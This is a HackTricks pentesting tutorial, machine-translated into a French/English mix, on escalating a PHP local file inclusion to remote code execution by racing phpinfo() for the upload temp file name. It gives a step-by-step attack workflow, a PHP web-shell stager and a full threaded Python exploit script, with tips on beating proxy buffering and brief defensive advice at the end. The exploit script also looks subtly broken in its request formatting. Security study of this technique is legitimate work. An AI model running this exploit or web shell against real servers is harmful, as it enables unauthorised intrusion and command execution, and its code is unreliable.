LFI to RCE via PHPInfo
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Pour exploiter cette technique, vous avez besoin de tout ce qui suit :
- Une page accessible qui affiche la sortie de phpinfo().
- Un Local File Inclusion (LFI) primitive que vous contrôlez (par ex., include/require sur une entrée utilisateur).
- Les uploads de fichiers PHP activés (file_uploads = On). Tout script PHP acceptera les uploads multipart RFC1867 et créera un fichier temporaire pour chaque partie uploadée.
- Le worker PHP doit pouvoir écrire dans upload_tmp_dir configuré (ou dans le répertoire temporaire système par défaut) et votre LFI doit pouvoir inclure ce chemin.
Classic write-up and original PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Remarques sur le PoC original
- La sortie de phpinfo() est encodée en HTML, donc la flèche “=>” apparaît souvent comme “=>”. Si vous réutilisez des scripts anciens, assurez-vous qu’ils recherchent les deux encodages lors de l’analyse de la valeur _FILES[tmp_name].
- Vous devez adapter le payload (votre code PHP), REQ1 (la requête vers le phpinfo() endpoint incluant le padding), et LFIREQ (la requête vers votre LFI sink). Certaines cibles n’ont pas besoin d’un terminateur null-byte (%00) et les versions modernes de PHP ne le respecteront pas. Ajustez le LFIREQ en conséquence pour le sink vulnérable.
Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Théorie
- Quand PHP reçoit un POST multipart/form-data avec un champ fichier, il écrit le contenu dans un fichier temporaire (upload_tmp_dir ou le défaut du système) et expose le chemin dans $_FILES[‘
’][‘tmp_name’]. Le fichier est automatiquement supprimé à la fin de la requête sauf s’il est déplacé/renommé. - L’astuce est d’apprendre le nom temporaire et de l’inclure via votre LFI avant que PHP ne le nettoie. phpinfo() affiche $_FILES, y compris tmp_name.
- En gonflant les en-têtes/paramètres de la requête (padding) vous pouvez provoquer le flush des premiers morceaux de la sortie de phpinfo() vers le client avant la fin de la requête, de sorte que vous puissiez lire tmp_name pendant que le fichier temp existe encore, puis frapper immédiatement le LFI avec ce chemin.
Sous Windows les fichiers temporaires se trouvent généralement sous quelque chose comme C:\Windows\Temp\php*.tmp. Sous Linux/Unix ils sont habituellement dans /tmp ou dans le répertoire configuré dans upload_tmp_dir.
Ce qu’il faut vérifier dans phpinfo() avant de tenter la course
Avant d’envoyer des milliers de requêtes, extrayez les valeurs qui déterminent si la course est réaliste :
file_uploads: doit êtreOn.upload_tmp_dir: si défini, c’est le répertoire que votre LFI doit pouvoir inclure. Si vide, attendez-vous au répertoire temporaire par défaut du système.open_basedir: si activé, votre chemin d’inclusion vulnérable doit toujours pouvoir atteindre le répertoire temporaire montré danstmp_name.output_buffering:4096est une taille courante/par défaut et explique pourquoi beaucoup de PoCs lisent en morceaux de 4KB, mais cette valeur peut différer.zlib.output_compression,output_handler, et tout buffering au niveau framework : ceux-ci réduisent la probabilité de voirtmp_nameassez tôt.Server API: utile pour évaluer combien de buffering peut exister entre PHP et vous (apache2handlerest généralement plus simple à raisonner quefpm-fcgiderrière un reverse proxy).
Si la page n’affiche pas $_FILES, assurez-vous que vous envoyez bien une requête multipart/form-data avec une vraie partie fichier. PHP ne remplit tmp_name que pour les champs d’upload qui ont été parsés.
Workflow d’attaque (étape par étape)
- Préparez un petit payload PHP qui persiste rapidement un shell pour éviter de perdre la course (écrire un fichier est généralement plus rapide que d’attendre un reverse shell) :
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
Envoyez un gros POST multipart directement vers la page phpinfo() afin qu’elle crée un fichier temporaire contenant votre payload. Gonflez divers en-têtes/cookies/params avec ~5–10KB de padding pour favoriser une sortie précoce. Assurez-vous que le nom du champ de formulaire correspond à ce que vous allez parser dans $_FILES.
-
Tant que la réponse phpinfo() est encore en streaming, parsez le corps partiel pour extraire $_FILES[‘
’][‘tmp_name’] (encodé en HTML). Dès que vous avez le chemin absolu complet (par ex. /tmp/php3Fz9aB), déclenchez votre LFI pour inclure ce chemin. Si include() exécute le fichier temporaire avant qu’il ne soit supprimé, votre payload s’exécute et dépose /tmp/.p.php. -
Utilisez le fichier déposé : GET /vuln.php?include=/tmp/.p.php&x=id (ou l’endroit où votre LFI permet de l’inclure) pour exécuter des commandes de manière fiable.
Conseils
- Utilisez plusieurs workers concurrents pour augmenter vos chances de gagner la course.
- Les emplacements de padding qui aident souvent : paramètre URL, Cookie, User-Agent, Accept-Language, Pragma. Ajustez selon la cible.
- Si le sink vulnérable ajoute une extension (par ex. .php), vous n’avez pas besoin d’un null byte ; include() exécutera du PHP quel que soit l’extension du fichier temporaire.
PoC Python 3 minimal (basé sur des sockets)
Le snippet ci‑dessous se concentre sur les parties critiques et est plus facile à adapter que l’ancien script Python2. Personnalisez HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (chemin vers le sink LFI), et PAYLOAD.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Dépannage
- You never see tmp_name: Assurez-vous d’envoyer réellement un POST multipart/form-data à phpinfo(). phpinfo() imprime $_FILES seulement lorsqu’un champ d’upload était présent.
tmp_nameappears only at the very end of the response: C’est généralement un problème de buffering, pas un problème de version PHP. De grandes valeurs deoutput_buffering,zlib.output_compression, des output handlers en userland, ou le buffering du reverse-proxy/FastCGI peuvent retarder le corps de phpinfo() jusqu’à ce que la requête d’upload soit presque terminée.- You only get reliable streaming in a lab, not through the real site: Un CDN, WAF, ou reverse proxy peut bufferiser la réponse en amont. Si vous avez plusieurs routes vers la même app, préférez le chemin d’origine le plus direct.
- The classic 4096-byte offset logic misses the leak: Considérez 4096 comme un point de départ dérivé des valeurs par défaut courantes de
output_buffering, pas comme une constante universelle. Parsez de façon incrémentale et arrêtez-vous dès quetmp_nameest complet. - The temp file is included but your shell dies immediately: Utilisez un tiny stager qui écrit un second fichier, car le fichier temporaire uploadé sera toujours supprimé à la fin de la requête d’origine.
- Output doesn’t flush early: Augmentez le padding, ajoutez plus de headers volumineux, ou envoyez plusieurs requêtes concurrentes. Certaines SAPIs/buffers ne flushent pas avant d’atteindre des seuils plus élevés ; ajustez en conséquence.
- LFI path blocked by open_basedir or chroot: Vous devez pointer le LFI vers un chemin autorisé ou passer à un autre vecteur LFI2RCE.
- Temp directory not /tmp: phpinfo() imprime le chemin absolu complet de tmp_name ; utilisez ce chemin exact dans le LFI.
Notes pratiques pour les stacks modernes
- This technique is still reproducible in modern lab environments; par exemple, Vulhub garde un démonstrateur sur PHP 7.2. En pratique, le succès tend à dépendre davantage du buffering de sortie et du proxying que d’un niveau de patch spécifique à phpinfo().
flush()andimplicit_flushonly influence PHP’s own output layer. Ils ne garantissent pas qu’une passerelle FastCGI, un reverse proxy, un navigateur, ou un intermédiaire libérera des chunks partiels immédiatement.- If the target is
fpm-fcgibehind Nginx/Apache proxying, pensez en couches : buffer PHP, PHP output handlers/compression, FastCGI buffering, puis proxy buffering. La course ne fonctionne que si suffisamment de la réponse phpinfo() s’échappe de cette chaîne avant que la fermeture de la requête ne supprime le fichier temp.
Notes défensives
- Never expose phpinfo() in production. Si nécessaire, restreignez par IP/auth et retirez après usage.
- Keep file_uploads disabled if not required. Sinon, restreignez upload_tmp_dir à un chemin non accessible par include() dans l’application et appliquez une validation stricte sur tous les chemins include/require.
- Treat any LFI as critical; même sans phpinfo(), d’autres chemins LFI→RCE existent.
Techniques HackTricks associées
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Références
- LFI With PHPInfo() Assistance whitepaper (2011) – miroir Packet Storm: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – Uploads par la méthode POST: https://www.php.net/manual/en/features.file-upload.post-method.php
- PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
- Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


